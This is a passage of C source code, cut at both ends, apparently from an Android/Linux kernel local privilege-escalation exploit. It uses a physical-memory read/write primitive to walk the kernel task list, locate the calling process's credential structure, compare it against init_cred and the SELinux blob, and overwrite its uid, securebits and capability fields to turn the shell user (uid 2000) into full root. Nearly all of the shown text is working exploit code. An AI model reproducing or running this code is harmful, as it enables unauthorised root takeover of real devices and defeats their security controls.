printf("PHYS_PROBE_FAIL stage=image_read errno=%d\n", errno);
proof_result = -1;
} else {
printf("PHYS_IMAGE_READ_PASS virtual=%#llx physical=%#llx "
"comm=%s\n",
(unsigned long long)image_virtual, (unsigned long long)image_physical,
image_comm);
}
}
if (bridge_read_once(bridge_fd, target_page_desc, target_pages_after,
sizeof(target_pages_after)) != (ssize_t)sizeof(target_pages_after) ||
bridge_read_once(bridge_fd, probe->canonical.page, pipe_page_after,
sizeof(pipe_page_after)) != (ssize_t)sizeof(pipe_page_after) ||
bridge_read_once(bridge_fd, image_page_desc, image_page_after, sizeof(image_page_after)) !=
(ssize_t)sizeof(image_page_after) ||
memcmp(target_pages_before, target_pages_after, sizeof(target_pages_before)) ||
memcmp(pipe_page_before, pipe_page_after, sizeof(pipe_page_before)) ||
memcmp(image_page_before, image_page_after, sizeof(image_page_before)))
return -2;
if (pipe_cache_gate(bridge_fd, probe))
return -2;
printf("PHYS_METADATA_PASS target_page=%#llx pipe_page=%#llx "
"image_page=%#llx\n",
(unsigned long long)target_page_desc, (unsigned long long)probe->canonical.page,
(unsigned long long)image_page_desc);
return proof_result;
}
static uint32_t load_u32(const unsigned char *buffer, size_t offset) {
uint32_t value;
memcpy(&value, buffer + offset, sizeof(value));
return value;
}
static uint64_t load_u64(const unsigned char *buffer, size_t offset) {
uint64_t value;
memcpy(&value, buffer + offset, sizeof(value));
return value;
}
static int read_text_path(const char *path, char *output, size_t capacity) {
ssize_t length;
int fd;
if (capacity < 2)
return -1;
fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0)
return -1;
do {
length = read(fd, output, capacity - 1);
} while (length < 0 && errno == EINTR);
close(fd);
if (length <= 0 || (size_t)length >= capacity)
return -1;
output[length] = '\0';
while (length > 0 && (output[length - 1] == '\n' || output[length - 1] == '\0'))
output[--length] = '\0';
return 0;
}
static int read_self_nspid(pid_t *global_pid, pid_t *local_pid, int *depth) {
char line[512];
FILE *stream = fopen("/proc/self/status", "r");
long status_pid = -1;
long status_tgid = -1;
long nspid_first = -1;
long nspid_last = -1;
int nspid_count = 0;
int result = -1;
if (!stream)
return -1;
while (fgets(line, sizeof(line), stream)) {
char *cursor = NULL;
long *scalar = NULL;
if (!strncmp(line, "Pid:", 4)) {
cursor = line + 4;
scalar = &status_pid;
} else if (!strncmp(line, "Tgid:", 5)) {
cursor = line + 5;
scalar = &status_tgid;
} else if (!strncmp(line, "NSpid:", 6)) {
cursor = line + 6;
} else {
continue;
}
if (scalar) {
char *end;
long value;
while (*cursor == ' ' || *cursor == '\t')
cursor++;
errno = 0;
value = strtol(cursor, &end, 10);
if (errno || end == cursor || value <= 0 || value > INT32_MAX)
goto out;
*scalar = value;
continue;
}
for (;;) {
char *end;
long value;
while (*cursor == ' ' || *cursor == '\t')
cursor++;
if (*cursor == '\0' || *cursor == '\n')
break;
errno = 0;
value = strtol(cursor, &end, 10);
if (errno || end == cursor || value <= 0 || value > INT32_MAX ||
nspid_count == INT32_MAX)
goto out;
if (!nspid_count)
nspid_first = value;
nspid_last = value;
nspid_count++;
cursor = end;
}
if (!nspid_count)
goto out;
}
if (nspid_count) {
if (status_pid != nspid_last || status_tgid != status_pid)
goto out;
*global_pid = (pid_t)nspid_first;
*local_pid = (pid_t)nspid_last;
*depth = nspid_count;
result = 0;
} else if (status_pid > 0 && status_tgid == status_pid) {
struct stat self_namespace;
struct stat init_namespace;
int self_result;
int self_errno;
int init_result;
int init_errno;
errno = 0;
self_result = stat("/proc/self/ns/pid", &self_namespace);
self_errno = errno;
errno = 0;
init_result = stat("/proc/1/ns/pid", &init_namespace);
init_errno = errno;
if ((!self_result && !init_result &&
(self_namespace.st_dev != init_namespace.st_dev ||
self_namespace.st_ino != init_namespace.st_ino)) ||
((self_result || init_result) && (self_result != -1 || init_result != -1 ||
self_errno != ENOENT || init_errno != ENOENT)))
goto out;
/* The physical task scan later proves this raw PID is global. */
errno = 0;
*global_pid = (pid_t)status_pid;
*local_pid = (pid_t)status_pid;
*depth = 1;
result = 0;
}
out:
fclose(stream);
return result;
}
static int capture_credential_syscall_state(struct user_security_state *state) {
struct __user_cap_header_struct header = {
.version = _LINUX_CAPABILITY_VERSION_3,
.pid = 0,
};
struct __user_cap_data_struct data[_LINUX_CAPABILITY_U32S_3];
uid_t ruid;
uid_t euid;
uid_t suid;
gid_t rgid;
gid_t egid;
gid_t sgid;
int count;
memset(state, 0, sizeof(*state));
memset(data, 0, sizeof(data));
state->local_pid = (pid_t)syscall(SYS_getpid);
if (state->local_pid <= 0 || syscall(SYS_getresuid, &ruid, &euid, &suid) ||
syscall(SYS_getresgid, &rgid, &egid, &sgid))
return -1;
state->uid = ruid;
state->euid = euid;
state->suid = suid;
state->fsuid = (uid_t)syscall(SYS_setfsuid, (uid_t)-1);
state->gid = rgid;
state->egid = egid;
state->sgid = sgid;
state->fsgid = (gid_t)syscall(SYS_setfsgid, (gid_t)-1);
count = (int)syscall(SYS_getgroups, 0, NULL);
if (count < 0 || count > (int)ARRAY_SIZE(state->groups))
return -1;
state->group_count = count;
if (count && syscall(SYS_getgroups, count, state->groups) != count)
return -1;
if (syscall(SYS_capget, &header, data))
return -1;
state->cap_inheritable = data[0].inheritable | ((uint64_t)data[1].inheritable << 32);
state->cap_permitted = data[0].permitted | ((uint64_t)data[1].permitted << 32);
state->cap_effective = data[0].effective | ((uint64_t)data[1].effective << 32);
for (int capability = 0; capability <= 40; capability++) {
int bounded = (int)syscall(SYS_prctl, PR_CAPBSET_READ, capability, 0, 0, 0);
int ambient =
(int)syscall(SYS_prctl, PR_CAP_AMBIENT, PR_CAP_AMBIENT_IS_SET, capability, 0, 0);
if (bounded < 0 || ambient < 0)
return -1;
if (bounded)
state->cap_bounding |= UINT64_C(1) << capability;
if (ambient)
state->cap_ambient |= UINT64_C(1) << capability;
}
state->securebits = (int)syscall(SYS_prctl, PR_GET_SECUREBITS, 0, 0, 0, 0);
state->no_new_privs = (int)syscall(SYS_prctl, PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0);
state->seccomp = (int)syscall(SYS_prctl, PR_GET_SECCOMP, 0, 0, 0, 0);
if (state->securebits < 0 || state->no_new_privs < 0 || state->seccomp < 0)
return -1;
return 0;
}
static int capture_user_security_state(struct user_security_state *state) {
char enforcing[8];
if (capture_credential_syscall_state(state) ||
read_self_nspid(&state->global_pid, &state->local_pid, &state->nspid_depth) ||
read_text_path("/proc/self/attr/current", state->context, sizeof(state->context)) ||
read_text_path("/sys/fs/selinux/enforce", enforcing, sizeof(enforcing)))
return -1;
state->enforcing = !strcmp(enforcing, "1") ? 1 : 0;
return 0;
}
static int user_security_state_equal(const struct user_security_state *left,
const struct user_security_state *right) {
return !memcmp(left, right, sizeof(*left));
}
static int shell_security_gate(const struct user_security_state *state) {
return state->uid == 2000 && state->euid == 2000 && state->suid == 2000 &&
state->fsuid == 2000 && state->gid == 2000 && state->egid == 2000 &&
state->sgid == 2000 && state->fsgid == 2000 && state->local_pid == getpid() &&
state->global_pid == state->local_pid && state->nspid_depth == 1 &&
!state->no_new_privs && !state->seccomp && state->enforcing == 1 &&
!strcmp(state->context, "u:r:shell:s0");
}
static int root_shell_security_gate(const struct user_security_state *state,
const struct user_security_state *baseline) {
return !state->uid && !state->euid && !state->suid && !state->fsuid && !state->gid &&
!state->egid && !state->sgid && !state->fsgid &&
state->group_count == baseline->group_count &&
!memcmp(state->groups, baseline->groups,
(size_t)state->group_count * sizeof(state->groups[0])) &&
!state->cap_inheritable && state->cap_permitted == DP_FULL_CAP_MASK &&
state->cap_effective == DP_FULL_CAP_MASK && state->cap_bounding == DP_FULL_CAP_MASK &&
!state->cap_ambient && !state->securebits && !state->no_new_privs && !state->seccomp &&
state->local_pid == getpid() && state->global_pid == state->local_pid &&
state->nspid_depth == 1 && state->enforcing == 1 &&
!strcmp(state->context, "u:r:shell:s0");
}
static int renew_identical_cred(const struct user_security_state *state) {
struct __user_cap_header_struct header = {
.version = _LINUX_CAPABILITY_VERSION_3,
.pid = 0,
};
struct __user_cap_data_struct data[_LINUX_CAPABILITY_U32S_3] = {0};
data[0].inheritable = (uint32_t)state->cap_inheritable;
data[1].inheritable = (uint32_t)(state->cap_inheritable >> 32);
data[0].permitted = (uint32_t)state->cap_permitted;
data[1].permitted = (uint32_t)(state->cap_permitted >> 32);
data[0].effective = (uint32_t)state->cap_effective;
data[1].effective = (uint32_t)(state->cap_effective >> 32);
return syscall(SYS_capset, &header, data) ? -1 : 0;
}
static int count_self_threads(void) {
struct dirent *entry;
DIR *directory = opendir("/proc/self/task");
int count = 0;
if (!directory)
return -1;
while ((entry = readdir(directory))) {
if (entry->d_name[0] == '.')
continue;
count++;
}
closedir(directory);
return count;
}
static int no_child_processes(void) {
struct sigaction action;
int status;
pid_t result;
if (sigaction(SIGCHLD, NULL, &action) || action.sa_handler != SIG_DFL ||
(action.sa_flags & SA_NOCLDWAIT))
return -1;
errno = 0;
do {
result = waitpid(-1, &status, WNOHANG);
} while (result < 0 && errno == EINTR);
return result < 0 && errno == ECHILD ? 0 : -1;
}
static int kernel_read_virtual(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t virtual_address,
void *output, size_t length) {
uint64_t physical_address;
if (kernel_virtual_to_physical(layout, virtual_address, &physical_address))
return -1;
return pipe_physical_read(bridge_fd, probe, layout, physical_address, output, length);
}
static int kernel_write_virtual(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t virtual_address,
const void *input, size_t length) {
uint64_t physical_address;
if (kernel_virtual_to_physical(layout, virtual_address, &physical_address))
return -1;
return pipe_physical_write(bridge_fd, probe, layout, physical_address, input, length);
}
struct cred_field_patch {
size_t offset;
size_t length;
};
static const struct cred_field_patch cred_field_patches[] = {
{DP_CRED_IDS_OFF, 8 * sizeof(uint32_t)},
{DP_CRED_SECUREBITS_OFF, sizeof(uint32_t)},
{DP_CRED_CAP_INHERITABLE_OFF, 5 * sizeof(uint64_t)},
};
static int read_stable_cred_bytes(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t cred,
unsigned char output[DP_CRED_SIZE]) {
unsigned char reads[DP_TASK_STABLE_READS][DP_CRED_SIZE];
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
int result =
kernel_read_virtual(bridge_fd, probe, layout, cred, reads[index], sizeof(reads[index]));
if (result)
return result;
}
for (int index = 1; index < DP_TASK_STABLE_READS; index++) {
if (memcmp(reads[0] + sizeof(uint64_t), reads[index] + sizeof(uint64_t),
DP_CRED_SIZE - sizeof(uint64_t)))
return -1;
}
memcpy(output, reads[0], DP_CRED_SIZE);
return 0;
}
static int read_stable_security_blob(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t address,
unsigned char output[DP_SELINUX_CRED_SIZE]) {
unsigned char reads[DP_TASK_STABLE_READS][DP_SELINUX_CRED_SIZE];
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
int result = kernel_read_virtual(bridge_fd, probe, layout, address, reads[index],
sizeof(reads[index]));
if (result)
return result;
}
for (int index = 1; index < DP_TASK_STABLE_READS; index++) {
if (memcmp(reads[0], reads[index], sizeof(reads[0])))
return -1;
}
memcpy(output, reads[0], DP_SELINUX_CRED_SIZE);
return 0;
}
static int cred_fields_equal(const unsigned char left[DP_CRED_SIZE],
const unsigned char right[DP_CRED_SIZE]) {
for (size_t index = 0; index < ARRAY_SIZE(cred_field_patches); index++) {
const struct cred_field_patch *patch = &cred_field_patches[index];
if (memcmp(left + patch->offset, right + patch->offset, patch->length))
return 0;
}
return 1;
}
static int write_cred_fields(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t cred,
const unsigned char desired[DP_CRED_SIZE]) {
for (size_t index = 0; index < ARRAY_SIZE(cred_field_patches); index++) {
const struct cred_field_patch *patch = &cred_field_patches[index];
int result = kernel_write_virtual(bridge_fd, probe, layout, cred + patch->offset,
desired + patch->offset, patch->length);
if (result)
return result;
}
return 0;
}
static int verify_cred_fields(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t cred,
const unsigned char expected[DP_CRED_SIZE]) {
unsigned char observed[DP_CRED_SIZE];
int result = read_stable_cred_bytes(bridge_fd, probe, layout, cred, observed);
if (result)
return result;
return cred_fields_equal(observed, expected) ? 0 : -1;
}
static int restore_cred_fields(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t cred,
const unsigned char original[DP_CRED_SIZE]) {
if (write_cred_fields(bridge_fd, probe, layout, cred, original) ||
verify_cred_fields(bridge_fd, probe, layout, cred, original))
return -2;
return 0;
}
static int verify_task_cred_pair(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t task,
uint64_t expected_real, uint64_t expected_subjective) {
uint64_t pair[2];
if (DP_TASK_CRED_OFF != DP_TASK_REAL_CRED_OFF + sizeof(uint64_t))
return -1;
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
int result = kernel_read_virtual(bridge_fd, probe, layout, task + DP_TASK_REAL_CRED_OFF,
pair, sizeof(pair));
if (result)
return result;
if (pair[0] != expected_real || pair[1] != expected_subjective)
return -1;
}
return 0;
}
static int read_task_snapshot(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t raw_task,
struct task_snapshot *snapshot) {
unsigned char region[DP_TASK_SCAN_SIZE];
int result = kernel_read_virtual(bridge_fd, probe, layout, raw_task + DP_TASK_TASKS_OFF, region,
sizeof(region));
if (result)
return result;
memset(snapshot, 0, sizeof(*snapshot));
snapshot->tasks_next = load_u64(region, 0);
snapshot->pid = load_u32(region, DP_TASK_PID_OFF - DP_TASK_TASKS_OFF);
snapshot->tgid = load_u32(region, DP_TASK_TGID_OFF - DP_TASK_TASKS_OFF);
snapshot->group_leader = load_u64(region, DP_TASK_GROUP_LEADER_OFF - DP_TASK_TASKS_OFF);
snapshot->real_cred = load_u64(region, DP_TASK_REAL_CRED_OFF - DP_TASK_TASKS_OFF);
snapshot->cred = load_u64(region, DP_TASK_CRED_OFF - DP_TASK_TASKS_OFF);
memcpy(snapshot->comm, region + DP_TASK_COMM_OFF - DP_TASK_TASKS_OFF, sizeof(snapshot->comm));
return 0;
}
static int read_stable_task_snapshot(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t raw_task,
struct task_snapshot *snapshot) {
struct task_snapshot reads[DP_TASK_STABLE_READS];
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
int result = read_task_snapshot(bridge_fd, probe, layout, raw_task, &reads[index]);
if (result)
return result;
}
for (int index = 1; index < DP_TASK_STABLE_READS; index++) {
if (memcmp(&reads[0], &reads[index], sizeof(reads[0])))
return -1;
}
*snapshot = reads[0];
return 0;
}
static int remember_task(struct visited_task *visited, uint64_t raw_task, uint64_t untagged_task) {
uint64_t pointer = untagged_task >> 6;
pointer ^= pointer >> 30;
pointer *= UINT64_C(0xbf58476d1ce4e5b9);
pointer ^= pointer >> 27;
size_t slot = (size_t)pointer & (DP_VISITED_CAP - 1);
for (size_t probes = 0; probes < DP_VISITED_CAP; probes++) {
struct visited_task *entry = &visited[(slot + probes) & (DP_VISITED_CAP - 1)];
if (!entry->untagged) {
entry->untagged = untagged_task;
entry->raw = raw_task;
return 0;
}
if (entry->untagged == untagged_task)
return -1;
}
return -1;
}
static int task_node_to_raw_task(uint64_t raw_node, uint64_t *raw_task, uint64_t *untagged_task) {
uint64_t candidate = raw_node - DP_TASK_TASKS_OFF;
uint64_t node = untag_kernel_pointer(raw_node);
uint64_t task = untag_kernel_pointer(candidate);
if (candidate + DP_TASK_TASKS_OFF != raw_node || node < DP_TASK_TASKS_OFF ||
task != node - DP_TASK_TASKS_OFF || task < DIRECT_MAP_BEGIN ||
task > DIRECT_MAP_END - (DP_TASK_COMM_OFF + DP_TASK_COMM_LEN) || (task & UINT64_C(0x3f)))
return -1;
*raw_task = candidate;
*untagged_task = task;
return 0;
}
static int scan_task_once(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, struct visited_task *visited,
pid_t target_pid, const char target_comm[DP_TASK_COMM_LEN], int pass,
struct task_match *match) {
uint64_t init_task = LINK_INIT_TASK + kernel_slide;
uint64_t head = init_task + DP_TASK_TASKS_OFF;
struct task_snapshot init_snapshot;
uint64_t raw_node;
size_t nodes = 0;
int matches = 0;
memset(visited, 0, DP_VISITED_CAP * sizeof(*visited));
memset(match, 0, sizeof(*match));
{ int result = read_stable_task_snapshot(bridge_fd, probe, layout, init_task, &init_snapshot);
if (result)
return result;
}
if (init_snapshot.pid || init_snapshot.tgid || init_snapshot.group_leader != init_task ||
init_snapshot.real_cred != LINK_INIT_CRED + kernel_slide ||
init_snapshot.cred != LINK_INIT_CRED + kernel_slide ||
memcmp(init_snapshot.comm, "swapper/0", sizeof("swapper/0")) || !init_snapshot.tasks_next)
return -1;
raw_node = init_snapshot.tasks_next;
while (raw_node != head) {
struct task_snapshot snapshot;
uint64_t raw_task;
uint64_t task;
int result;
if (nodes >= DP_TASK_SCAN_LIMIT || task_node_to_raw_task(raw_node, &raw_task, &task) ||
remember_task(visited, raw_task, task))
return -1;
result = read_stable_task_snapshot(bridge_fd, probe, layout, raw_task, &snapshot);
if (result)
return result;
if (!snapshot.pid || snapshot.pid != snapshot.tgid || snapshot.group_leader != raw_task ||
!snapshot.real_cred || !snapshot.cred ||
!memchr(snapshot.comm, '\0', sizeof(snapshot.comm)) || !snapshot.tasks_next)
return -1;
nodes++;
if (snapshot.pid == (uint32_t)target_pid && snapshot.tgid == (uint32_t)target_pid &&
!memcmp(snapshot.comm, target_comm, sizeof(snapshot.comm))) {
matches++;
match->raw_task = raw_task;
match->snapshot = snapshot;
}
raw_node = snapshot.tasks_next;
}
if (!nodes || matches != 1)
return -1;
match->nodes = nodes;
printf("TASK_SCAN_CLOSED pass=%d nodes=%zu matches=%d pid=%d\n", pass, nodes, matches,
target_pid);
return 0;
}
static int find_task_stable(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, pid_t target_pid,
const char target_comm[DP_TASK_COMM_LEN], const char *role,
struct task_match *match) {
struct visited_task *visited = calloc(DP_VISITED_CAP, sizeof(*visited));
struct timespec delay = {.tv_nsec = 1000000};
if (!visited)
return -1;
for (int retry = 0; retry < DP_TASK_SCAN_RETRIES; retry++) {
struct task_match passes[DP_TASK_SCAN_PASSES];
int completed = 1;
for (int pass = 0; pass < DP_TASK_SCAN_PASSES; pass++) {
int result = scan_task_once(bridge_fd, probe, layout, visited, target_pid, target_comm,
pass + 1, &passes[pass]);
if (result == -2)
return -2;
if (result ||
(pass &&
(passes[0].raw_task != passes[pass].raw_task ||
passes[0].snapshot.pid != passes[pass].snapshot.pid ||
passes[0].snapshot.tgid != passes[pass].snapshot.tgid ||
passes[0].snapshot.group_leader != passes[pass].snapshot.group_leader ||
passes[0].snapshot.real_cred != passes[pass].snapshot.real_cred ||
passes[0].snapshot.cred != passes[pass].snapshot.cred ||
memcmp(passes[0].snapshot.comm, passes[pass].snapshot.comm,
sizeof(passes[0].snapshot.comm))))) {
completed = 0;
break;
}
}
if (completed) {
*match = passes[0];
free(visited);
printf("TASK_TAG_GATE_PASS role=%s raw=%#llx untagged=%#llx "
"group_leader=%#llx\n",
role, (unsigned long long)match->raw_task,
(unsigned long long)untag_kernel_pointer(match->raw_task),
(unsigned long long)match->snapshot.group_leader);
printf("STAGE8_TASK_FIND_PASS role=%s pid=%d tgid=%u "
"task=%#llx snapshots=%d passes=%d\n",
role, target_pid, match->snapshot.tgid, (unsigned long long)match->raw_task,
DP_TASK_STABLE_READS, DP_TASK_SCAN_PASSES);
return 0;
}
nanosleep(&delay, NULL);
}
free(visited);
printf("TASK_SCAN_FAIL role=%s retries=%d pid=%d\n", role, DP_TASK_SCAN_RETRIES, target_pid);
return -1;
}
static int validate_init_task_layout(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout) {
struct task_snapshot snapshot;
uint64_t init_task = LINK_INIT_TASK + kernel_slide;
uint64_t raw_task;
uint64_t task;
int result = read_stable_task_snapshot(bridge_fd, probe, layout, init_task, &snapshot);
if (result)
return result;
if (snapshot.pid || snapshot.tgid || snapshot.group_leader != init_task ||
snapshot.real_cred != LINK_INIT_CRED + kernel_slide ||
snapshot.cred != LINK_INIT_CRED + kernel_slide ||
memcmp(snapshot.comm, "swapper/0", sizeof("swapper/0")) ||
task_node_to_raw_task(snapshot.tasks_next, &raw_task, &task))
return -1;
printf("TASK_LAYOUT_GATE_PASS init_task=%#llx init_cred=%#llx "
"first=%#llx\n",
(unsigned long long)init_task, (unsigned long long)snapshot.cred,
(unsigned long long)raw_task);
return 0;
}
static int validate_kernel_root_cred(int bridge_fd, struct pipe_reclaim_probe *probe,
const struct physical_layout *layout, uint64_t cred_address,
const char *role, const unsigned char *expected_selinux,
struct kernel_root_cred_identity *identity) {
unsigned char reads[DP_TASK_STABLE_READS][DP_CRED_SIZE];
unsigned char security_reads[DP_TASK_STABLE_READS][DP_SELINUX_CRED_SIZE];
int32_t lsm_offset;
uint64_t usage;
uint64_t minimum_usage = UINT64_MAX;
uint64_t security;
uint64_t untagged_cred = untag_kernel_pointer(cred_address);
uint32_t osid;
uint32_t sid;
memset(identity, 0, sizeof(*identity));
if ((cred_address != LINK_INIT_CRED + kernel_slide &&
(untagged_cred < DIRECT_MAP_BEGIN || untagged_cred >= DIRECT_MAP_END)) ||
(untagged_cred & 7))
return -1;
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
int result = kernel_read_virtual(bridge_fd, probe, layout, cred_address, reads[index],
sizeof(reads[index]));
if (result)
return result;
}
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
uint64_t observed_usage = load_u64(reads[index], DP_CRED_USAGE_OFF);
if (!observed_usage || observed_usage > UINT64_C(0x10000000))
return -1;
if (observed_usage < minimum_usage)
minimum_usage = observed_usage;
}
for (int index = 1; index < DP_TASK_STABLE_READS; index++) {
if (memcmp(reads[0] + sizeof(uint64_t), reads[index] + sizeof(uint64_t),
sizeof(reads[0]) - sizeof(uint64_t)))
return -1;
}
usage = minimum_usage;
security = load_u64(reads[0], DP_CRED_SECURITY_OFF);
if (!security || load_u32(reads[0], DP_CRED_SECUREBITS_OFF) ||
load_u64(reads[0], DP_CRED_CAP_INHERITABLE_OFF) ||
load_u64(reads[0], DP_CRED_CAP_PERMITTED_OFF) != DP_FULL_CAP_MASK ||
load_u64(reads[0], DP_CRED_CAP_EFFECTIVE_OFF) != DP_FULL_CAP_MASK ||
load_u64(reads[0], DP_CRED_CAP_BSET_OFF) != DP_FULL_CAP_MASK ||
load_u64(reads[0], DP_CRED_CAP_AMBIENT_OFF) || !load_u64(reads[0], DP_CRED_USER_OFF) ||
!load_u64(reads[0], DP_CRED_USER_NS_OFF) || !load_u64(reads[0], DP_CRED_UCOUNTS_OFF) ||
!load_u64(reads[0], DP_CRED_GROUP_INFO_OFF))
return -1;
for (int id = 0; id < 8; id++) {
if (load_u32(reads[0], DP_CRED_IDS_OFF + (size_t)id * 4))
return -1;
}
{ int result =
kernel_read_virtual(bridge_fd, probe, layout, LINK_SELINUX_BLOB_SIZES + kernel_slide,
&lsm_offset, sizeof(lsm_offset));
if (result)
return result;
}
if (lsm_offset < 0 || lsm_offset > 4096 || (lsm_offset & 7))
return -1;
for (int index = 0; index < DP_TASK_STABLE_READS; index++) {
int result = kernel_read_virtual(bridge_fd, probe, layout, security + (uint32_t)lsm_offset,
security_reads[index], sizeof(security_reads[index]));
if (result)
return result;
}
for (int index = 1; index < DP_TASK_STABLE_READS; index++) {
if (memcmp(security_reads[0], security_reads[index], sizeof(security_reads[0])))
return -1;
}
osid = load_u32(security_reads[0], 0);
sid = load_u32(security_reads[0], 4);
if (expected_selinux) {
if (memcmp(security_reads[0], expected_selinux, sizeof(security_reads[0])))
return -1;
} else {
if (osid != 1 || sid != 1)
return -1;
for (int id = 2; id < DP_SELINUX_CRED_SIZE / (int)sizeof(uint32_t); id++) {
if (load_u32(security_reads[0], (size_t)id * sizeof(uint32_t)))
return -1;
}
}
identity->usage = usage;
identity->security = security + (uint32_t)lsm_offset;
identity->user = load_u64(reads[0], DP_CRED_USER_OFF);
identity->user_ns = load_u64(reads[0], DP_CRED_USER_NS_OFF);
identity->ucounts = load_u64(reads[0], DP_CRED_UCOUNTS_OFF);
identity->group_info = load_u64(reads[0], DP_CRED_GROUP_INFO_OFF);
memcpy(identity->selinux, security_reads[0], sizeof(identity->selinux));
printf("CRED_LAYOUT_GATE_PASS role=%s cred=%#llx usage=%llu "
"security=%#llx lsm_offset=%d osid=%u sid=%u\n",
role, (unsigned long long)cred_address, (unsigned long long)usage,
(unsigned long long)identity->security, lsm_offset, osid, sid);
return 0;
}
static int wait_atomic_set(atomic_int *value, int timeout_ms) {
struct timespec now;
struct timespec delay = {.tv_nsec = 1000000};
long long deadline;
if (clock_gettime(CLOCK_MONOTONIC, &now))
return -1;
deadline =
(long long)now.tv_sec * 1000000000LL + now.tv_nsec + (long long)timeout_ms * 1000000LL;
while (!atomic_load_explicit(value, memory_order_acquire)) {
if (clock_gettime(CLOCK_MONOTONIC, &now))
return -1;
if ((long long)now.tv_sec * 1000000000LL + now.tv_nsec >= deadline)
return -1;
nanosleep(&delay, NULL);
}
return 0;
}
static void fill_root_child_report(struct root_child_report *report) {
struct user_security_state state;
memset(report, 0, sizeof(*report));
if (capture_credential_syscall_state(&state)) {
report->capture_result = -1;
report->magic = NEBUSEC_MAGIC;
return;
}
report->pid = state.local_pid;
report->uid = state.uid;
report->euid = state.euid;
report->suid = state.suid;
report->fsuid = state.fsuid;
report->gid = state.gid;
report->egid = state.egid;
report->sgid = state.sgid;
report->fsgid = state.fsgid;
report->group_count = state.group_count;
memcpy(report->groups, state.groups, (size_t)state.group_count * sizeof(report->groups[0]));
report->cap_inheritable = state.cap_inheritable;
report->cap_permitted = state.cap_permitted;
report->cap_effective = state.cap_effective;
report->cap_bounding = state.cap_bounding;
report->cap_ambient = state.cap_ambient;
report->securebits = state.securebits;
report->no_new_privs = state.no_new_privs;
report->seccomp = state.seccomp;
report->capture_result = 0;
report->magic = NEBUSEC_MAGIC;
}
static int validate_root_child_report(const struct root_child_report *report, pid_t child,
const struct user_security_state *baseline) {
return report->magic == NEBUSEC_MAGIC && report->pid == child && !report->uid &&
!report->euid && !report->suid && !report->fsuid && !report->gid && !report->egid &&
!report->sgid && !report->fsgid && report->group_count == baseline->group_count &&
!memcmp(report->groups, baseline->groups,
(size_t)report->group_count * sizeof(report->groups[0])) &&
!report->cap_inheritable && report->cap_permitted == DP_FULL_CAP_MASK &&
report->cap_effective == DP_FULL_CAP_MASK && report->cap_bounding == DP_FULL_CAP_MASK &&
!report->cap_ambient && !report->securebits && !report->no_new_privs &&
!report->seccomp && baseline->global_pid == baseline->local_pid &&
baseline->nspid_depth == 1 && !baseline->no_new_privs && !baseline->seccomp &&
!report->capture_result;
}
static int run_stage8_root_probe(int reader_fd, struct pipe_reclaim_probe *probe) {
struct physical_layout layout;
struct user_security_state baseline = {0};
struct user_security_state renewed = {0};
struct user_security_state staged_user = {0};
struct root_shared_state *shared = MAP_FAILED;
struct kernel_root_cred_identity init_identity;
struct kernel_root_cred_identity child_identity;
struct task_match pre_renew_match;
struct task_match parent_match;
struct task_match child_match;
unsigned char init_bytes[DP_CRED_SIZE];
unsigned char original_cred[DP_CRED_SIZE];
unsigned char staged_cred[DP_CRED_SIZE];
unsigned char child_cred[DP_CRED_SIZE];
unsigned char shell_selinux[DP_SELINUX_CRED_SIZE];
unsigned char observed_selinux[DP_SELINUX_CRED_SIZE];
char old_comm[DP_TASK_COMM_LEN];
char marker[DP_TASK_COMM_LEN];
char observed_comm[DP_TASK_COMM_LEN];
uint32_t random_value;
uint64_t init_cred = LINK_INIT_CRED + kernel_slide;
uint8_t selinux_state;
sigset_t all_signals;
sigset_t old_signals;
pid_t child = -1;
int child_status = 0;
int signals_blocked = 0;
int comm_changed = 0;
int cred_dirty = 0;
if (probe->meta_state != PIPE_META_NATIVE)
return -2;
if (load_physical_layout(reader_fd, &layout) || capture_user_security_state(&baseline) ||
!shell_security_gate(&baseline) || getpid() != syscall(SYS_gettid) ||
count_self_threads() != 1 || no_child_processes()) {
printf("STAGE8_ENV_GATE_FAIL uid=%u context=%s enforcing=%d "
"threads=%d local_pid=%d global_pid=%d depth=%d nnp=%d "
"seccomp=%d errno=%d\n",
baseline.uid, baseline.context, baseline.enforcing, count_self_threads(),
baseline.local_pid, baseline.global_pid, baseline.nspid_depth, baseline.no_new_privs,
baseline.seccomp, errno);
goto out;
}
printf("STAGE8_ENV_GATE_PASS uid=%u context=%s enforcing=%d threads=1 "
"local_pid=%d global_pid=%d depth=%d nnp=%d seccomp=%d\n",
baseline.uid, baseline.context, baseline.enforcing, baseline.local_pid,
baseline.global_pid, baseline.nspid_depth, baseline.no_new_privs, baseline.seccomp);
if (prctl(PR_GET_NAME, old_comm) ||
syscall(SYS_getrandom, &random_value, sizeof(random_value), 0) != sizeof(random_value))
goto out;
memset(marker, 0, sizeof(marker));
if (snprintf(marker, sizeof(marker), "dp8-%08x", random_value) <= 0 ||
prctl(PR_SET_NAME, marker) || prctl(PR_GET_NAME, observed_comm) ||
memcmp(marker, observed_comm, sizeof(marker)))
goto out;
comm_changed = 1;
{ int result = validate_init_task_layout(reader_fd, probe, &layout);
if (result == -2)
return -2;
if (result)
goto out;
}
{ int result =
validate_kernel_root_cred(reader_fd, probe, &layout, init_cred, "init", NULL,
&init_identity);
if (result == -2)
return -2;
